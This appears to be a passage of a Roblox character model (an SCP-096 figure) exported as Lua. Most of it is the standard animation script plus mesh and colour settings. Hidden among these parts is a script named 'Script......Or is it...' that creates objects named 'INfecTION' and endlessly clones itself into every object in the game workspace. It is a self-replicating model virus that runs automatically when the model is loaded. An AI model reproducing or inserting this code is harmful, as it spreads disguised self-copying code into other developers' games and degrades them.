  3363. { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
  3364. },
  3365. dance3 = {
  3366. { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
  3367. { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
  3368. { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
  3369. },
  3370. laugh = {
  3371. { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
  3372. },
  3373. cheer = {
  3374. { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
  3375. },
  3376. }
  3377.  
  3378. -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
  3379. local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
  3380.  
  3381. math.randomseed(tick())
  3382.  
  3383. function configureAnimationSet(name, fileList)
  3384. if (animTable[name] ~= nil) then
  3385. for _, connection in pairs(animTable[name].connections) do
  3386. connection:disconnect()
  3387. end
  3388. end
  3389. animTable[name] = {}
  3390. animTable[name].count = 0
  3391. animTable[name].totalWeight = 0
  3392. animTable[name].connections = {}
  3393.  
  3394. -- check for config values
  3395. local config = script:FindFirstChild(name)
  3396. if (config ~= nil) then
  3397. -- print("Loading anims " .. name)
  3398. table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
  3399. table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
  3400. local idx = 1
  3401. for _, childPart in pairs(config:GetChildren()) do
  3402. if (childPart:IsA("Animation")) then
  3403. table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
  3404. animTable[name][idx] = {}
  3405. animTable[name][idx].anim = childPart
  3406. local weightObject = childPart:FindFirstChild("Weight")
  3407. if (weightObject == nil) then
  3408. animTable[name][idx].weight = 1
  3409. else
  3410. animTable[name][idx].weight = weightObject.Value
  3411. end
  3412. animTable[name].count = animTable[name].count + 1
  3413. animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
  3414. -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
  3415. idx = idx + 1
  3416. end
  3417. end
  3418. end
  3419.  
  3420. -- fallback to defaults
  3421. if (animTable[name].count <= 0) then
  3422. for idx, anim in pairs(fileList) do
  3423. animTable[name][idx] = {}
  3424. animTable[name][idx].anim = Instance.new("Animation")
  3425. animTable[name][idx].anim.Name = name
  3426. animTable[name][idx].anim.AnimationId = anim.id
  3427. animTable[name][idx].weight = anim.weight
  3428. animTable[name].count = animTable[name].count + 1
  3429. animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
  3430. -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
  3431. end
  3432. end
  3433. end
  3434.  
  3435. -- Setup animation objects
  3436. function scriptChildModified(child)
  3437. local fileList = animNames[child.Name]
  3438. if (fileList ~= nil) then
  3439. configureAnimationSet(child.Name, fileList)
  3440. end
  3441. end
  3442.  
  3443. script.ChildAdded:connect(scriptChildModified)
  3444. script.ChildRemoved:connect(scriptChildModified)
  3445.  
  3446.  
  3447. for name, fileList in pairs(animNames) do
  3448. configureAnimationSet(name, fileList)
  3449. end
  3450.  
  3451. -- ANIMATION
  3452.  
  3453. -- declarations
  3454. local toolAnim = "None"
  3455. local toolAnimTime = 0
  3456.  
  3457. local jumpAnimTime = 0
  3458. local jumpAnimDuration = 0.3
  3459.  
  3460. local toolTransitionTime = 0.1
  3461. local fallTransitionTime = 0.3
  3462. local jumpMaxLimbVelocity = 0.75
  3463.  
  3464. -- functions
  3465.  
  3466. function stopAllAnimations()
  3467. local oldAnim = currentAnim
  3468.  
  3469. -- return to idle if finishing an emote
  3470. if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
  3471. oldAnim = "idle"
  3472. end
  3473.  
  3474. currentAnim = ""
  3475. if (currentAnimKeyframeHandler ~= nil) then
  3476. currentAnimKeyframeHandler:disconnect()
  3477. end
  3478.  
  3479. if (currentAnimTrack ~= nil) then
  3480. currentAnimTrack:Stop()
  3481. currentAnimTrack:Destroy()
  3482. currentAnimTrack = nil
  3483. end
  3484. return oldAnim
  3485. end
  3486.  
  3487. function setAnimationSpeed(speed)
  3488. if speed ~= currentAnimSpeed then
  3489. currentAnimSpeed = speed
  3490. currentAnimTrack:AdjustSpeed(currentAnimSpeed)
  3491. end
  3492. end
  3493.  
  3494. function keyFrameReachedFunc(frameName)
  3495. if (frameName == "End") then
  3496. -- print("Keyframe : ".. frameName)
  3497. local repeatAnim = stopAllAnimations()
  3498. local animSpeed = currentAnimSpeed
  3499. playAnimation(repeatAnim, 0.0, Humanoid)
  3500. setAnimationSpeed(animSpeed)
  3501. end
  3502. end
  3503.  
  3504. -- Preload animations
  3505. function playAnimation(animName, transitionTime, humanoid)
  3506. local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
  3507. if (animName ~= currentAnim and not idleFromEmote) then
  3508.  
  3509. if (currentAnimTrack ~= nil) then
  3510. currentAnimTrack:Stop(transitionTime)
  3511. currentAnimTrack:Destroy()
  3512. end
  3513.  
  3514. currentAnimSpeed = 1.0
  3515. local roll = math.random(1, animTable[animName].totalWeight)
  3516. local origRoll = roll
  3517. local idx = 1
  3518. while (roll > animTable[animName][idx].weight) do
  3519. roll = roll - animTable[animName][idx].weight
  3520. idx = idx + 1
  3521. end
  3522. -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
  3523. local anim = animTable[animName][idx].anim
  3524.  
  3525. -- load it to the humanoid; get AnimationTrack
  3526. currentAnimTrack = humanoid:LoadAnimation(anim)
  3527.  
  3528. -- play the animation
  3529. currentAnimTrack:Play(transitionTime)
  3530. currentAnim = animName
  3531.  
  3532. -- set up keyframe name triggers
  3533. if (currentAnimKeyframeHandler ~= nil) then
  3534. currentAnimKeyframeHandler:disconnect()
  3535. end
  3536. currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  3537. end
  3538. end
  3539.  
  3540. -------------------------------------------------------------------------------------------
  3541. -------------------------------------------------------------------------------------------
  3542.  
  3543. local toolAnimName = ""
  3544. local toolAnimTrack = nil
  3545. local currentToolAnimKeyframeHandler = nil
  3546.  
  3547. function toolKeyFrameReachedFunc(frameName)
  3548. if (frameName == "End") then
  3549. -- print("Keyframe : ".. frameName)
  3550. local repeatAnim = stopToolAnimations()
  3551. playToolAnimation(repeatAnim, 0.0, Humanoid)
  3552. end
  3553. end
  3554.  
  3555.  
  3556. function playToolAnimation(animName, transitionTime, humanoid)
  3557. if (animName ~= toolAnimName) then
  3558.  
  3559. if (toolAnimTrack ~= nil) then
  3560. toolAnimTrack:Stop()
  3561. toolAnimTrack:Destroy()
  3562. transitionTime = 0
  3563. end
  3564.  
  3565. local roll = math.random(1, animTable[animName].totalWeight)
  3566. local origRoll = roll
  3567. local idx = 1
  3568. while (roll > animTable[animName][idx].weight) do
  3569. roll = roll - animTable[animName][idx].weight
  3570. idx = idx + 1
  3571. end
  3572. -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
  3573. local anim = animTable[animName][idx].anim
  3574.  
  3575. -- load it to the humanoid; get AnimationTrack
  3576. toolAnimTrack = humanoid:LoadAnimation(anim)
  3577.  
  3578. -- play the animation
  3579. toolAnimTrack:Play(transitionTime)
  3580. toolAnimName = animName
  3581.  
  3582. currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
  3583. end
  3584. end
  3585.  
  3586. function stopToolAnimations()
  3587. local oldAnim = toolAnimName
  3588.  
  3589. if (currentToolAnimKeyframeHandler ~= nil) then
  3590. currentToolAnimKeyframeHandler:disconnect()
  3591. end
  3592.  
  3593. toolAnimName = ""
  3594. if (toolAnimTrack ~= nil) then
  3595. toolAnimTrack:Stop()
  3596. toolAnimTrack:Destroy()
  3597. toolAnimTrack = nil
  3598. end
  3599.  
  3600.  
  3601. return oldAnim
  3602. end
  3603.  
  3604. -------------------------------------------------------------------------------------------
  3605. -------------------------------------------------------------------------------------------
  3606.  
  3607.  
  3608. function onRunning(speed)
  3609. if speed>0.01 then
  3610. playAnimation("walk", 0.1, Humanoid)
  3611. pose = "Running"
  3612. else
  3613. playAnimation("idle", 0.1, Humanoid)
  3614. pose = "Standing"
  3615. end
  3616. end
  3617.  
  3618. function onDied()
  3619. pose = "Dead"
  3620. end
  3621.  
  3622. function onJumping()
  3623. playAnimation("jump", 0.1, Humanoid)
  3624. jumpAnimTime = jumpAnimDuration
  3625. pose = "Jumping"
  3626. end
  3627.  
  3628. function onClimbing(speed)
  3629. playAnimation("climb", 0.1, Humanoid)
  3630. setAnimationSpeed(speed / 12.0)
  3631. pose = "Climbing"
  3632. end
  3633.  
  3634. function onGettingUp()
  3635. pose = "GettingUp"
  3636. end
  3637.  
  3638. function onFreeFall()
  3639. if (jumpAnimTime <= 0) then
  3640. playAnimation("fall", fallTransitionTime, Humanoid)
  3641. end
  3642. pose = "FreeFall"
  3643. end
  3644.  
  3645. function onFallingDown()
  3646. pose = "FallingDown"
  3647. end
  3648.  
  3649. function onSeated()
  3650. pose = "Seated"
  3651. end
  3652.  
  3653. function onPlatformStanding()
  3654. pose = "PlatformStanding"
  3655. end
  3656.  
  3657. function onSwimming(speed)
  3658. if speed>0 then
  3659. pose = "Running"
  3660. else
  3661. pose = "Standing"
  3662. end
  3663. end
  3664.  
  3665. function getTool()
  3666. for _, kid in ipairs(Figure:GetChildren()) do
  3667. if kid.className == "Tool" then return kid end
  3668. end
  3669. return nil
  3670. end
  3671.  
  3672. function getToolAnim(tool)
  3673. for _, c in ipairs(tool:GetChildren()) do
  3674. if c.Name == "toolanim" and c.className == "StringValue" then
  3675. return c
  3676. end
  3677. end
  3678. return nil
  3679. end
  3680.  
  3681. function animateTool()
  3682.  
  3683. if (toolAnim == "None") then
  3684. playToolAnimation("toolnone", toolTransitionTime, Humanoid)
  3685. return
  3686. end
  3687.  
  3688. if (toolAnim == "Slash") then
  3689. playToolAnimation("toolslash", 0, Humanoid)
  3690. return
  3691. end
  3692.  
  3693. if (toolAnim == "Lunge") then
  3694. playToolAnimation("toollunge", 0, Humanoid)
  3695. return
  3696. end
  3697. end
  3698.  
  3699. function moveSit()
  3700. RightShoulder.MaxVelocity = 0.15
  3701. LeftShoulder.MaxVelocity = 0.15
  3702. RightShoulder:SetDesiredAngle(3.14 /2)
  3703. LeftShoulder:SetDesiredAngle(-3.14 /2)
  3704. RightHip:SetDesiredAngle(3.14 /2)
  3705. LeftHip:SetDesiredAngle(-3.14 /2)
  3706. end
  3707.  
  3708. local lastTick = 0
  3709.  
  3710. function move(time)
  3711. local amplitude = 1
  3712. local frequency = 1
  3713. local deltaTime = time - lastTick
  3714. lastTick = time
  3715.  
  3716. local climbFudge = 0
  3717. local setAngles = false
  3718.  
  3719. if (jumpAnimTime > 0) then
  3720. jumpAnimTime = jumpAnimTime - deltaTime
  3721. end
  3722.  
  3723. if (pose == "FreeFall" and jumpAnimTime <= 0) then
  3724. playAnimation("fall", fallTransitionTime, Humanoid)
  3725. elseif (pose == "Seated") then
  3726. stopAllAnimations()
  3727. moveSit()
  3728. return
  3729. elseif (pose == "Running") then
  3730. playAnimation("walk", 0.1, Humanoid)
  3731. elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
  3732. -- print("Wha " .. pose)
  3733. amplitude = 0.1
  3734. frequency = 1
  3735. setAngles = true
  3736. end
  3737.  
  3738. if (setAngles) then
  3739. desiredAngle = amplitude * math.sin(time * frequency)
  3740.  
  3741. RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
  3742. LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
  3743. RightHip:SetDesiredAngle(-desiredAngle)
  3744. LeftHip:SetDesiredAngle(-desiredAngle)
  3745. end
  3746.  
  3747. -- Tool Animation handling
  3748. local tool = getTool()
  3749. if tool then
  3750.  
  3751. animStringValueObject = getToolAnim(tool)
  3752.  
  3753. if animStringValueObject then
  3754. toolAnim = animStringValueObject.Value
  3755. -- message recieved, delete StringValue
  3756. animStringValueObject.Parent = nil
  3757. toolAnimTime = time + .3
  3758. end
  3759.  
  3760. if time > toolAnimTime then
  3761. toolAnimTime = 0
  3762. toolAnim = "None"
  3763. end
  3764.  
  3765. animateTool()
  3766. else
  3767. stopToolAnimations()
  3768. toolAnim = "None"
  3769. toolAnimTime = 0
  3770. end
  3771. end
  3772.  
  3773. -- connect events
  3774. Humanoid.Died:connect(onDied)
  3775. Humanoid.Running:connect(onRunning)
  3776. Humanoid.Jumping:connect(onJumping)
  3777. Humanoid.Climbing:connect(onClimbing)
  3778. Humanoid.GettingUp:connect(onGettingUp)
  3779. Humanoid.FreeFalling:connect(onFreeFall)
  3780. Humanoid.FallingDown:connect(onFallingDown)
  3781. Humanoid.Seated:connect(onSeated)
  3782. Humanoid.PlatformStanding:connect(onPlatformStanding)
  3783. Humanoid.Swimming:connect(onSwimming)
  3784.  
  3785. -- setup emote chat hook
  3786.  
  3787.  
  3788. -- main program
  3789.  
  3790. local runService = game:service("RunService");
  3791.  
  3792. -- initialize to idle
  3793. playAnimation("idle", 0.1, Humanoid)
  3794. pose = "Standing"
  3795.  
  3796. while Figure.Parent~=nil do
  3797. local _, time = wait(0.1)
  3798. move(time)
  3799. end
  3800.  
  3801.  
  3802.  
  3803. end))
  3804. StringValue180.Name = "climb"
  3805. StringValue180.Parent = Script179
  3806. Animation181.Name = "ClimbAnim"
  3807. Animation181.Parent = StringValue180
  3808. Animation181.AnimationId = "http://www.roblox.com/asset/?id=125750800"
  3809. StringValue182.Name = "fall"
  3810. StringValue182.Parent = Script179
  3811. Animation183.Name = "FallAnim"
  3812. Animation183.Parent = StringValue182
  3813. Animation183.AnimationId = "http://www.roblox.com/asset/?id=125750759"
  3814. StringValue184.Name = "idle"
  3815. StringValue184.Parent = Script179
  3816. Animation185.Name = "Animation1"
  3817. Animation185.Parent = StringValue184
  3818. Animation185.AnimationId = "http://www.roblox.com/asset/?id=125750544"
  3819. NumberValue186.Name = "Weight"
  3820. NumberValue186.Parent = Animation185
  3821. NumberValue186.Value = 9
  3822. Animation187.Name = "Animation2"
  3823. Animation187.Parent = StringValue184
  3824. Animation187.AnimationId = "http://www.roblox.com/asset/?id=125750618"
  3825. NumberValue188.Name = "Weight"
  3826. NumberValue188.Parent = Animation187
  3827. NumberValue188.Value = 1
  3828. StringValue189.Name = "jump"
  3829. StringValue189.Parent = Script179
  3830. Animation190.Name = "JumpAnim"
  3831. Animation190.Parent = StringValue189
  3832. Animation190.AnimationId = "http://www.roblox.com/asset/?id=125750702"
  3833. StringValue191.Name = "run"
  3834. StringValue191.Parent = Script179
  3835. Animation192.Name = "RunAnim"
  3836. Animation192.Parent = StringValue191
  3837. Animation192.AnimationId = "rbxassetid://510059034"
  3838. StringValue193.Name = "toolnone"
  3839. StringValue193.Parent = Script179
  3840. Animation194.Name = "ToolNoneAnim"
  3841. Animation194.Parent = StringValue193
  3842. Animation194.AnimationId = "http://www.roblox.com/asset/?id=125750867"
  3843. StringValue195.Name = "walk"
  3844. StringValue195.Parent = Script179
  3845. Animation196.Name = "WalkAnim"
  3846. Animation196.Parent = StringValue195
  3847. Animation196.AnimationId = "http://www.roblox.com/asset/?id=125749145"
  3848. Script197.Name = "Script......Or is it..."
  3849. Script197.Parent = mas
  3850. table.insert(cors,sandbox(Script197,function()
  3851. if script.Parent.className ~= "RotateP" then
  3852. local p = Instance.new("RotateP")
  3853. p.Parent = workspace
  3854. p.Name = "INfecTION"
  3855. script.Parent = p
  3856. end
  3857.  
  3858. function check()
  3859. local list = workspace:GetChildren()
  3860. for i = 1, #list do
  3861. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3862. script.Parent:Clone().Parent = list[i]
  3863. end
  3864. wait()
  3865. end
  3866. end
  3867.  
  3868. while true do
  3869. check()
  3870. if workspace:findFirstChild("inFECtion") == nil then
  3871. local main = script.Parent:Clone()
  3872. main.Name = "inFECtion"
  3873. main.Parent = workspace
  3874. end
  3875. wait(3)
  3876. end
  3877.  
  3878. end))
  3879. BodyColors198.Parent = Model133
  3880. BodyColors198.HeadColor = BrickColor.new("Institutional white")
  3881. BodyColors198.LeftArmColor = BrickColor.new("Institutional white")
  3882. BodyColors198.LeftLegColor = BrickColor.new("Institutional white")
  3883. BodyColors198.RightArmColor = BrickColor.new("Institutional white")
  3884. BodyColors198.RightLegColor = BrickColor.new("Institutional white")
  3885. BodyColors198.TorsoColor = BrickColor.new("Institutional white")
  3886. CharacterMesh199.Name = "SCP-096 Left Arm"
  3887. CharacterMesh199.Parent = Model133
  3888. CharacterMesh199.MeshId = 75390829
  3889. CharacterMesh199.BaseTextureId = 255692783
  3890. CharacterMesh199.BodyPart = Enum.BodyPart.LeftArm
  3891. CharacterMesh199.OverlayTextureId = 255692783
  3892. CharacterMesh200.Name = "SCP-096 Left Leg"
  3893. CharacterMesh200.Parent = Model133
  3894. CharacterMesh200.MeshId = 32328520
  3895. CharacterMesh200.BaseTextureId = 255692783
  3896. CharacterMesh200.BodyPart = Enum.BodyPart.LeftLeg
  3897. CharacterMesh200.OverlayTextureId = 255692783
  3898. CharacterMesh201.Name = "SCP-096 Right Arm"
  3899. CharacterMesh201.Parent = Model133
  3900. CharacterMesh201.MeshId = 75390843
  3901. CharacterMesh201.BaseTextureId = 255692783
  3902. CharacterMesh201.BodyPart = Enum.BodyPart.RightArm
  3903. CharacterMesh201.OverlayTextureId = 255692783
  3904. CharacterMesh202.Name = "SCP-096 Right Leg"
  3905. CharacterMesh202.Parent = Model133
  3906. CharacterMesh202.MeshId = 32328627
  3907. CharacterMesh202.BaseTextureId = 255692783
  3908. CharacterMesh202.BodyPart = Enum.BodyPart.RightLeg
  3909. CharacterMesh202.OverlayTextureId = 255692783
  3910. CharacterMesh203.Name = "SCP-096 Torso"
  3911. CharacterMesh203.Parent = Model133
  3912. CharacterMesh203.MeshId = 27493004
  3913. CharacterMesh203.BaseTextureId = 255693950
  3914. CharacterMesh203.BodyPart = Enum.BodyPart.Torso
  3915. CharacterMesh203.OverlayTextureId = 255693950
  3916. for i,v in pairs(mas:GetChildren()) do
  3917. v.Parent = script
  3918. pcall(function() v:MakeJoints() end)
  3919. end
  3920. mas:Destroy()
  3921. for i,v in pairs(cors) do
  3922. spawn(function()
  3923. pcall(v)
  3924. end)
  3925. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement